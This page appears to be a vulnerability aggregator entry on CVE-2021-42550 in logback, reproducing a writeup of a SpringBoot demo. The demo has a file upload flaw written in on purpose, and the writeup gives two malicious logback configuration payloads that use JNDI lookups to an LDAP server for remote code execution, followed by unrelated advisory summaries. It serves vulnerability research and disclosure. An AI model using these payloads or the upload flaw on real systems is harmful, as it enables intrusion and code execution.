Headline
CVE-2021-42550: GitHub - cn-panda/logbackRceDemo: The project is a simple vulnerability Demo environment written by SpringBoot. Here, I deliberately wrote a vulnerability environment where there are arbitrary file up
In logback version 1.2.7 and prior versions, an attacker with the required privileges to edit configurations files could craft a malicious configuration allowing to execute arbitrary code loaded from LDAP servers.
TL;DR
In general, the triggering method of the vulnerability described in the following is relatively difficult, unless the following conditions can be met:
- The configuration file of logback can be modified or overwritten
- Able to make the modified configuration file take effect
Summary****Affected version
logback-classic <=1.2.7
Environment
SpringBoot 2.6.1
JDK8u111(Please note the available versions of JNDI)
Project address
https://github.com/cn-panda/logbackRceDemo
The project is a simple vulnerability demo environment in springboot, The key function is upload:
public String upload(@RequestParam(“file”) MultipartFile file) {
if (file.isEmpty()) {
return "Upload failed, please select a file!!";
}
String fileName = file.getOriginalFilename();
String filePath = Thread.currentThread().getContextClassLoader().getResource("").getPath();;
System.out.println(filePath);
File dest = new File(filePath,fileName);
try {
file.transferTo(dest);
LOGGER.info("Upload succeeded!!");
return "Upload succeeded!!";
} catch (IOException e) {
LOGGER.error(e.toString(), e);
}
return "Upload failed!!";
}
The main function of this method is to upload files.
The configuration file of logback in the project is as follows:
The key point is the scan attribute, which is used by logback to periodically scan the configuration file for changes.
If the configuration file is detected to change, it will update and load the configuration file in real time.
In this project, I deliberately wrote a vulnerability environment with arbitrary file uploads, and then used the scan attribute in the loghack configuration file to cooperate with the logback vulnerability to implement RCE
Note: the upload here is the code I deliberately wrote with file upload vulnerability. It is proposed to propose a possible scenario. It is not the problem of logback itself. Logback only needs this vulnerability to trigger rce. If other vulnerabilities are not used, logback itself is safe
Vulnerability analysis****JNDIConnectionSource
In logback, it is also similar to the Appender of JDBCAppender in log4j1.x —— that is DBAppender
There is an interface called ConnectionSource in DBAppender.
This interface provides a pluggable way to obtain a JDBC connection using the logback class of java.sql.Connection
There are currently three implementation classes: DriverManagerConnectionSource, DataSourceConnectionSource and JNDIConnectionSource.
Each of these three implementation classes can be used to achieve RCE.
But unlike the other two implementation classes, the way JNDIConnectionSource implements RCE is more convenient, because it can implement RCE without relying on other component-dependent gadgets, and only rely on the mechanism provided by the application (JNDI), but DriverManagerConnectionSource and DataSourceConnectionSource must rely on JDBC deserialization vulnerabilities to be able to implement RCE. The restrictions are relatively large, so I will not demonstrate here.
JNDIConnectionSource is logback’s own method, as you can see from the name, it obtains javax.sql.DataSource through JNDI, and then obtains java.sql.Connection instance
In fact, you can find out by observing the code of the getConnection method in JNDIConnectionSource.java:
If dataSource is empty, then let dataSource = lookupDataSource();
Then trigger lookup in lookupDataSource():
Vulnerability recurrence
First download the reproduced source code, and then run the main function of the RceDemoApplication project:
Then open the browser and type in the address bar: http://localhost:8080, you can visit the project homepage
This means that your vulnerability environment has been built.
Then create a configuration file of logback-spring.xml locally, the content of the file is as follows:
<configuration scan="true" scanPeriod="10 seconds" debug="true">
<appender name="STDOUT" class="ch.qos.logback.core.ConsoleAppender">
<encoder>
<pattern>%-4relative [%thread] %-5level %logger{35} - %msg %n</pattern>
</encoder>
</appender>
<appender name="DB" class="ch.qos.logback.classic.db.DBAppender">
<connectionSource class="ch.qos.logback.core.db.JNDIConnectionSource">
<jndiLocation>ldap://127.0.0.1:1389/erqtcd</jndiLocation>
</connectionSource>
</appender>
<root level="DEBUG">
<appender-ref ref="STDOUT" />
</root>
</configuration>
Then visit http://localhost:8080/upload.html, select the file and click the upload button, use BurpSuite to capture the package, you can see that the file is uploaded successfully:
After waiting ten seconds, RCE can be executed successfully
insertFromJNDI
In addition to JNDIConnectionSource, there is actually another configuration that can implement JNDI injection——insertFromJNDI
<insertFromJNDI> is the configuration tag of logback, which is used to set the range of attributes. It supports obtaining attribute values through JNDI. Similarly, if you modify the content of the <insertFromJNDI> tag, you can also achieve JNDI injection
When the <insertFromJNDI> tag is used, it means that the begin method in the InsertFromJNDIAction.java file will be called, and the JNDIUtil.lookup method will be used , thereby triggering the vulnerability:
Vulnerability recurrence
The reproduction steps are roughly the same as in #JNDIConnectionSource, except that the payload used in the uploaded file needs to be changed, as follows:
<configuration scan="true" scanPeriod="10 seconds" debug="true">
<appender name="STDOUT" class="ch.qos.logback.core.ConsoleAppender">
<encoder>
<pattern>%-4relative [%thread] %-5level %logger{35} - %msg %n</pattern>
</encoder>
</appender>
<insertFromJNDI env-entry-name="ldap://127.0.0.1:1389/erqtcd" as="appName" />
<root level="DEBUG">
<appender-ref ref="STDOUT" />
</root>
</configuration>
Upload the configuration file:
Similarly, after waiting for 10 seconds, RCE can be triggered:
In fact, in addition to these two, the begin in JMXConfiguratorAction can also be used for malicious purposes.
Related news
A serialization vulnerability in logback receiver component part of logback version 1.4.11 allows an attacker to mount a Denial-Of-Service attack by sending poisoned data.
Dell Streaming Data Platform prior to 1.4 contains Open Redirect vulnerability. An attacker with privileges same as a legitimate user can phish the legitimate the user to redirect to malicious website leading to information disclosure and launch of phishing attacks.
Red Hat Security Advisory 2022-5532-01 - This release of Red Hat Fuse 7.11.0 serves as a replacement for Red Hat Fuse 7.10 and includes bug fixes and enhancements, which are documented in the Release Notes document linked in the References. Issues addressed include HTTP request smuggling, bypass, code execution, denial of service, deserialization, information leakage, memory leak, privilege escalation, and traversal vulnerabilities.
OX App Suite through 7.10.6 allows SSRF because multipart/form-data boundaries are predictable, and this can lead to injection into internal Documentconverter API calls.
Security release also includes precautionary patches for potential Log4j-like flaw in Logback library
Open-Xchange App Suite versions 7.10.6 and below suffer from OS command injection and cross site scripting vulnerabilities. One particular cross site scripting issue only affects versions 7.10.5 and below.
A minor version update (from 7.10 to 7.11) is now available for Red Hat Fuse. The purpose of this text-only errata is to inform you about the security issues fixed in this release. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original. Related CVEs: * CVE-2020-7020: elasticsearch: not properly preserving security permissions when executing complex queries may lead to information disclosure * CVE-2020-9484: tomcat: deserialization flaw in session persistence storage leading to RCE * CVE-2020-15250: ju...
Red Hat Security Advisory 2022-5498-01 - Red Hat Satellite is a systems management tool for Linux-based infrastructure. It allows for provisioning, remote management, and monitoring of multiple Linux deployments with a single centralized tool. Issues addressed include HTTP request smuggling, buffer overflow, bypass, code execution, cross site scripting, denial of service, heap overflow, information leakage, privilege escalation, remote shell upload, remote SQL injection, and traversal vulnerabilities.
An update is now available for Red Hat Satellite 6.11This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original. Related CVEs: * CVE-2021-3200: libsolv: heap-based buffer overflow in testcase_read() in src/testcase.c * CVE-2021-3584: foreman: Authenticate remote code execution through Sendmail configuration * CVE-2021-4142: Satellite: Allow unintended SCA certificate to authenticate Candlepin * CVE-2021-21290: netty: Information disclosure via the local system temporary directory * CVE-2021-21295: netty: possible request smuggling in HTTP/2 due missing validation * CVE-2021-21409: netty: Request smuggling via content-length header * CVE-2021-30151: sidekiq: XSS via the queue name of the live-poll feature * CVE-2021-32839: python-sqlparse: ReDoS via regular expression i...